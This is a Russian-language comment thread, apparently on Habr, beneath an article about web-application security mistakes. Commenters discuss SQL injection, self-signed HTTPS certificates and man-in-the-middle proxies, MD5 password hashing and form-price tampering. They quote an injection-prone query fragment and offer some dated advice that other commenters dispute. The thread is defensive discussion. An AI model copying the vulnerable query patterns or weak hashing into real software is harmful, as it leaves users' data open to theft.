      6 пункт самый актуальный. Много раз сталкивался с тем что, скажем так, неопытные программиcты, а так же веб-студии, которые из них состояли шифровали свои проекты перед тем, как сдать заказчику. Якобы для сохранности кода от шаловливых ручек заказчика. Вряд ли они понимали насколько страшно их творение в виде кода, но, видимо, интуитивно им было стыдно :)
      • 0
        Заказчик должен быть исключительно одаренной личностью, чтобы после оплаты не получить исходный код.
        А вот до оплаты использовать шифрование кода иногда имеет смысл — у заказчика будет меньше соблазна кинуть исполнителя.
        Но главное преимущество шифрования кода в другом:
        1. В шифрованный код невозможно незаметно внедрить чужой код. Например, некоторые трояны воруют пароли ftp и потом незаметно дописывают в файлы index.php какой-нибудь iframe или javascript. В случае с зашифрованным кодом это абсолютно исключено.
        2. Если шифрованный код привязан к домену или ip-адресу (зависит от возможностей криптора), то его невозможно утащить и использовать на другом домене (сервере).
        • 0
          1. Авторизация по ключу и использование scp и/или система контроля версий и никакое шифрование не нужно.
          2. А также переехать на другой хостинг.

          Итого, все это решается без всякого шифрования.
    • +1
      > Отлично! Мы храним пароль как в БД (в триггере), так и в коде (в SQL запросе)!

      Ага, особенно интересно выглядит то, что можно украсть зашифрованные данные, но нельзя украсть триггеры (с паролем-то). Пароль от данных уже в базе.
      • +1
        Коллега, спасибо, с триггером получается косяк. Однако не могу поправить пост, HTML в статье ломает форму редактирования.
    • –1
      За подсказку про триггер — спасибо, остальное — вам стоит научиться просто читать.
    • +2
      Мне приходится делать security code review раз в месяц, так волосы рвать хочется от «where id='. $_REQUEST['id']». Плохих программистов сильно больше, чем хороших, и история влома таких сайтов, как Лабаратория Касперского или Симантек это подтверждает.

      Статьи на Хабре пишутся для разного уровня людей. Вы – выше этого уровня, поздравляю, это хорошо. А тем, кто ниже Вашего уровня – будет полезно. Дайте им возможность поучиться :)
  • +1
    Самое главное правило — не доверяй никому, а в особенности — пользователю.

    Остальное — следствия.
  • +17
    Пожалуйста, добавьте в пункт про HTTPS обязательность использования настоящих сертификатов. Да, получение нормального сертификата это даже не столько деньги, сколько бюрократическая тягомотина, но без нее все технические действия лишены смысла.
    Из-за лени, непонимания принципов и интеллектуального скудоумия очень, очень многие считают, что https будет работать и с самоподписанными сертификатами. Подобное, к сожалению, встречается сплошь и рядом даже на сайтах небедных организаций.
    Протокол HTTPS защищает от атак вида «человек посредине» (man-in-the-middle), когда чувствительные данные передаются по открытому каналу, к которому злоумышленник может теоретически получить физический доступ.

    Краткий ликбез по SSL сертификатам.
    Итак, организация генерирует пару ключей — публичный и приватный. Приватный прячется и никому не показывается. Открытый ключ и мета-информация (название организации, адрес веб-сайта, фио админа и т.п.) отправляются в сертифицирующую организацию (SA). Это называется запрос сертификата.
    SA проверяет, что запрос пришел действительно от тех, кто указан в метаданных, и что они действительно числятся как владельцы домена. Если все закорючки в норме, открытый ключ вместе с метаданными подписывается секретным ключом SA. Этих самых SA в мире очень немного, их открытые ключи известны всем браузерам.
    Когда браузер устанавливает HTTPS соединение, он сразу получает от сервера его сертификат. Зная открытый ключ SA, браузер проверяет цифровую подпись на сертификате. Дальше браузер шифрует свой ответ открытым ключом из сертификата. Расшифровать этот ответ сможет только тот, кто владеет соответствующим сертификату секретным ключом. Именно на этом держится вся защита HTTPS.

    Если же сертификат самоподписанный, то тогда имеющий доступ к каналу передачи данных злоумышленник может сделать разрез канала и вставить в него прозрачный прокси-сервер. Этот сервер будет подсовывать жертвам свой собственный самоподписанный сертификат, и такие жертвы никак не смогут отличить этот поддельный сертификат от «как бы настоящего», и поверят злоумышленнику. Он расшифрует все данные, установит собственное соединение с атакуемым сервером и перенаправит их туда. Таким образом, у злоумышленника легким движением руки окажутся весь обмен информацией в расшифрованном виде. То есть все затраты на HTTPS, связанные с дорогостоящим шифрованием трафика, окажутся напрасными. Более того, атакованные даже не узнают о самом факте такой атаки до тех пор, пока злоумышленник не перейдет к активным действиям.

    Самоподписанные сертификаты можно использовать, только если вы разворачиваете собственную инфраструктуру PKI и устанавливаете свой корневой сертификат у всех клиентов, например, в локальной сети организации. Ну или для целей тестирования. Но ни в коем случае — не для HTTPS на рабочем сайте.
    • 0
      Кратко и доходчиво! Спасибо!
    • 0
      Статью дополню.

      Честно говоря не встречал самоподписанных сертификатов на «настоящих» сайтах. Неужели на самом дел кто-то может такое делать?

      Еще вопрос — браузер выдаст предупреждние в таком случае?
      • +2
        Самое смешное — у трети хостеров, в том числе пары крупных, вход в контрольную панель закрыт самоподписанными сертификатами. Вот уж, казалось бы, кому как не им…
        Браузеры выдают предупреждения, но во всех браузерах это предупреждение можно обойти или добавить исключение.
    • 0
      SA — это CA?
      • 0
        Угу, оно самое. Зарапортовался вчерась.
    • –1
      HTTPS нужен не везде. Зачем шифровать картинки и статику?
      • +1
        Вот как раз нет, или все HTTPS или все HTTP.
        HTTPS не позволяет никаких внешних элементов, получаемых по http, это нарушение секьюрности. Ну, то есть технически конечно все сработает, но браузер будет грязно ругаться.
        Сам факт обращения к картинке может говорить например о том, что пользователь посетил какую-то конкретную страницу; или это фото человека, которого вы «шифруете»; или какой-то объект имеет статус, который отображается этой картинкой. В-общем, это тоже канал утечки информации. Так что шифруется обязательно вообще все.
        • 0
          Пародонте, у меня закрытый ресурс, который показывает много контента с CDN, мне что, прикажете перекачивать его на свой сервак, а потом через HTTPS отдавать?!
          • 0
            Если вам действительно нужна секьюрность https — да. Либо просите ваш cdn отдавать свой контент через https. Либо поставьте у себя на сервере проксю https->http (это 15 строк на пыхыпы, гугл в помощь). Либо сделайте на https только вход и генерацию сеансовых ключей, а далее шифруйте что вам нужно сами и разбирайте на клиенте javascript-ом.
            Ну так уж устроен https. Скажем, те же google maps и другие сервисы можно подключить по https, но это стоит уже больших денег.
    • 0
      Но всё же, если у злоумышленника нет возможности врезаться в канал, но есть возможность его слушать, то разве HTTPS с самоподписанным сертификатом не лучше, чем голый HTTP?
      • 0
        Да, от прослушки без врезки https защитит даже с самоподписанным сертификатом.
        Только таких ситуаций (когда слушать существенно легче, чем врезаться) достаточно мало, я так сходу даже не скажу. Открытый wifi, сниффинг своего сегмента ethernet… пожалуй все?
        Снифать в своем сегменте локалки — идея плохая, обычно не гадят там, где спят. Сидеть в макдаке с ноутбуком и ловить лохов… ну не знаю, много имхо не выловишь. А все остальные варианты man-in-the-middle предполагают либо взлом маршрутизаторов, либо сговор с админами, либо физическую врезку в канал.
        • 0
          Какой-нибудь троян у пользователя, способный слушать сеть, но не способный, например, слушать клавиатуру? Написать такого точно можно, вопрос будет ли кто писать, если админские права и так получены. С другой стороны, могут быть уязвимости непосредственно в сетевом стэке или, скажем, какой-то антивирус может за ним не следить, а попытки перехвата клавиатуры детектировать.
    • 0
      А вам имя домена ничего не напоминает? =)
      • +6
        Да, Шерлок, напоминает. Но это кросспост.
        • –2
          а что плохого в кросспосте? я правда не знаю.
    • +1
      там черновик, написано же
    • –1
      А я на опеннете уже видел эту статью пару дней назад.
      • 0
        Мне показалось, что я прочитал эту статью лет 7 назад, вот буквально слово в слово. Поэтому и нашёл в гугле ссылку.
  • +1
    Ну и хотелось бы напомнить про httponly для кук сессии. Почему-то редко используется.
  • +1
    Всем спасибо за критику. Пока не могу внести поправки в статью, HTML в статье ломает форму редактирования. Что собственно и было описано в самой статье.

    Написал в саппорт.
  • +1
    Думаю, что половина проблем уже решена в хороших фреймворках. А те, кто пишет на чистом языке, скорее всего уже для себя решил эти вопросы.
  • +3
    Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.


    А еще я Artmoney и Magic Trainer Creator в mmorpg часто использую.
  • НЛО прилетело и опубликовало эту надпись здесь
  • +2
    Дочитал до mysql_query дальше читать нет смысла. Материал собран видимо из какой-то бородатой книги по PHP3 наверное, но на дворе 21-й век. MySQLi или PDO нормально сами всё «эскейпят».
    • 0
      Стоит таки научиться читать. Статья не о PHP, а примеры для ясности.
      • –1
        Для новичка они не вносят ничего кроме путаницы (потом разгребай велосипеды) для людей по опытнее (да некоторые вещи опытные люди бывает забывают) достаточно объяснить принцип.

        Не надо писать статьи «для широкого круга», для новичков должны быть одни статьи, а для опытных другие. Иначе и те и другие только больше запутаются.
      • +1
        Попробовал воспользоваться вашим советом, попробовал почитать…

        ]]] Хорошим решением будет усечение этого поля до одного символа:
        ]]] substr($_POST['gender'],0,1)
        И боже, мама роди меня обратно, это же в какой вселенной это было бы хорошим решением…
  • 0
    > Если ваше приложение работает с финансовыми, медицинскими или просто с очень важными данными — используйте HTTPS.

    Я бы поспорил что имя-фамилия пользователя уже являются очень важными данными. А на сайтах где есть возможность публиковать свой контент (хоть комментарии) — даже логин.

    Хабр — не секьюрен. :)
  • НЛО прилетело и опубликовало эту надпись здесь
    • 0
      Полагать что если какую то приватную часть разместить в папке под трудноугадываемым названием (domain.com/kSDsgf93/), то о ее положении никто не догадается и дополнительные ограничительные меры не требуются


      А как кроме брутфорса можно найти такие папки?
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          Про снифферы согласен.
          Добавим условие что ссылок на страницах на папку нет.

          А что вы имеете ввиду, говоря что гугл хром видит? Где?
          Про статистику тоже не очень понятно, какая статистика?
          • НЛО прилетело и опубликовало эту надпись здесь
            • 0
              Спасибо за опыт :)
  • –2
    Сколько, блин, можно советовать использовать MD5? Такое впечатление, что пхпшники в этом вопросе застряли в 2000 году. MD5 хеши уже давно взламываются через rainbow-tables любой школотой за 10 минут.

    Ничего же стоит вместо MD5 заюзать скажем SHA256/512.
    • –1
      Где можно посмотреть данные о уязвимости md5 с достаточно длинным salt?
      • 0
        Дело не в длине salt, а в том, что алгоритм старый, подверженный коллизиям и сломанный всеми, кем только можно. При нулевых затратах времени и сил программист может на порядки увеличить гемор хакера, который решит взломать его базу, просто написав в своем коде вместо md5(open_password), sha512(open_password).

        И все равно каждый раз везде пишут «используйте MD5». Это просто невыносимо.
        • 0
          Спасибо, поправлю.
    • 0
      Можно попросить доказательств?

      Вот md5 из строчки в 18 символов.
      Строчная латиница, два пробела, одна цифра,
      c1eb7f80d7e3578b86dbae178df38e9c

      можно пример как его школота ломает?

      если не осилится — вот другой. латиница, 4 символа.
      098f6bcd4621d373cade4e832627b4f6
      Его наверняка сломают.

      Хотя этим комментарием вы мне подсказали мысль — наверно надо будет написать постик со сравнением хэширующих функций.
  • +1
    Требовать, чтобы пароли удовлетворяли определенными правилам сложности и заставлять менять их через какое-то время. Как пользователь я не очень люблю этот метод, но он работает.

    — ага, отлично работает. На 2-й, максимум 3-й итерации пользователи устают придумывать и запоминать сложные пароли, и здравствуй «qwerty».
    • 0
      Это как раз несложно. Требовать определенную длину пароля, буквы в разных регистрах, другие символы итд.
      • +1
        Вижу, вы очень любите ваших пользователей. Хотя… нет пользователя — нет проблемы, да? :)
        • 0
          Наоборот, я как пользователь с этим сталкивался много раз. Еще и раз в три месяца приходится менять — придумал схему генерации пароля в голове исходя из текущих месяца и года.
          • 0
            pWD!201103? :)
            • 0
              01.03.2011 проще запомнить
              • 0
                Уверены?
          • 0
            ОК, теперь серьёзно. Вопросы:
            1) Насколько, по-вашему, увеличится безопасность пользовательского акаунта в случае, когда каждые 3 месяца обязательно надо будет менять пароль? Почему?
            2) Какое будет соотношение «удачные логины vs. запрос на смену в очередной раз забытого пароля» (у пользователей, которые заходят на сервис раз в день, раз в неделю, раз в месяц?
            3) Как решение о такой «мере безопасности повлияет на лояльность пользователей сервиса?
            4) Оно того стоит?
            • 0
              Учимся читать — я не разрабатывал такие системы и не считаю это хорошим решением. Задавайте вопрос авторам банковского вебсайта где такие схемы реализованы.
  • 0
    «Бонус для параноиков» в «Шифровании данных» — плохая идея. Если пользователь забыл пароль, то его данные восстановить будет уже невозможно.
    • 0
      Все еще гораздо веселее. :) При использовании этого «бонуса» потребуется запрос пароля пользователя при каждом обращении к пользовательским данным. По-моему, автор явно переоценивает терпение пользователей.
      • 0
        Совсем не обязательно. Хранить его можно в сессии.
  • +1
    В «11. Защита от form spoofing» злоумышленнику не обязательно скачивать страницу на компьютер, чтобы менять html-код. Будет достаточно использовать FireBug, который может менять html-контент на лету (или просто внедрить javascript: код в адресную строку)
  • 0
    Для устранения инъекций советую пользоваться DbSimple от Котерова. Кстати, Хабрахабр его использует.
    • 0
      Не советую. Синтаксис плейсхолдеров неплох, но библиотека написана лет 5 назад и при каждом обновлении PHP будет сыпать депрекейтедами, нотисами и варнингами. Проще что-то свое написать, заодно выкинув ненужный код с кешированием, какими-то дикими деревьями и еще чем-то заморочным, и перейдя на PDO, благо там кода-то — preg_replace_callback + swicth для замены вопросиков + PDO внутрь засунуть.
  • +1
    Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.


    Ну тогда сушите вёсла :)
  • +1
    и еще, в случаи когда пользователи имеют возможность загружать картинки на сервер, обязательно проверять MIME и расширение файла.
    Правда, MIME очень легко подделываются (внедрение php кода в gif файл),
    а с расширением тоже может быть не все гладко, особенно при работе через nginx ( habrahabr.ru/blogs/sysadm/100961/ ).
    Поэтому желательно не отдавать пользовательские картинки по прямой ссылки, как было написано в статье
    и всегда, при использовании какой-либо надстройки (nginx и тд), внимательно читать раздел секурити в мануале данного продукта.

    Вот хорошая статья по этому вопросу.
    habrahabr.ru/blogs/php/44610/
  • 0
    По поводу защиты от SQL injection стоит упомянуть о методе, который предложил Ден Каминский (Dan Kaminsky) с base64 кодированием SQL запросов.
    • +1
      Не стоит.
    • 0
      Да и не обязательно base64, типичного bin2hex достаточно
      $sql = 'SELECT * FROM `test` WHERE word= 0x'. bin2hex($_GET['word']);

      Но всё это костыли из разряда прошлого века. Использовать надо MySQLi или PDO (что по вкусу) в отличии от 2-3 лет назад, сейчас они есть даже на самом отстойном и даже бесплатном шаред хостинге
      • 0
        Но при этом, про placeholder'ы и escaping написано, ага (-;
        • 0
          Написано, но не в правильном ключе. Они рассматриваются как «аналоги» а на деле их можно рассматривать как правильный и как устаревший (не рекомендованный) метод. А методы с base64 и bin2hex (если уж это сборник всех способов) тоже можно упомянуть, но отдельно как «вариант для извращенцев»
  • 0
    Первые 5 пунктов банальны конечно, думаю любой более-менее нормальный веб-разработчик должен это знать. Остальные интересные, взял себе на заметку, спасибо :)
    • +1
      Ой, простите, забыл что статья делалась как таблица о типовых уязвимостях, так что беру свои слова про банальность обратно.
  • –2
    меня уже то подобных постов! минусуйте!
  • –1
    *тошнит!!!
  • +2
    Пара ссылок для тех, кто думает что передача в шопинг карту цены из формы происходит в какой-то другой вселенной:
    http://www.thedigeratilife.com/blog/index.php/2006/11/30/how-to-buy-a-playstation-3-for-099/
    http://www.edgeblog.net/2006/how-to-buy-a-plasma-for-99/
    • 0
      Действительно работает!
  • –1
    1. Защита от SQL injection, escaping важные штуки, на них учатся. Также в escaping нужно включить " .:,-/+?()@€_*§%;=&«если не были включены. Это inputFiltering, важная вещь. И не следует забывать о OutputFiltering-е чтоб не выполнился джаваскрипт не дай бог.
    • –1
      не дочитал, сори, XSS описан вторым пунктом))
  • –2
    Самое оно, как раз скоро запускаю свое приложение.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.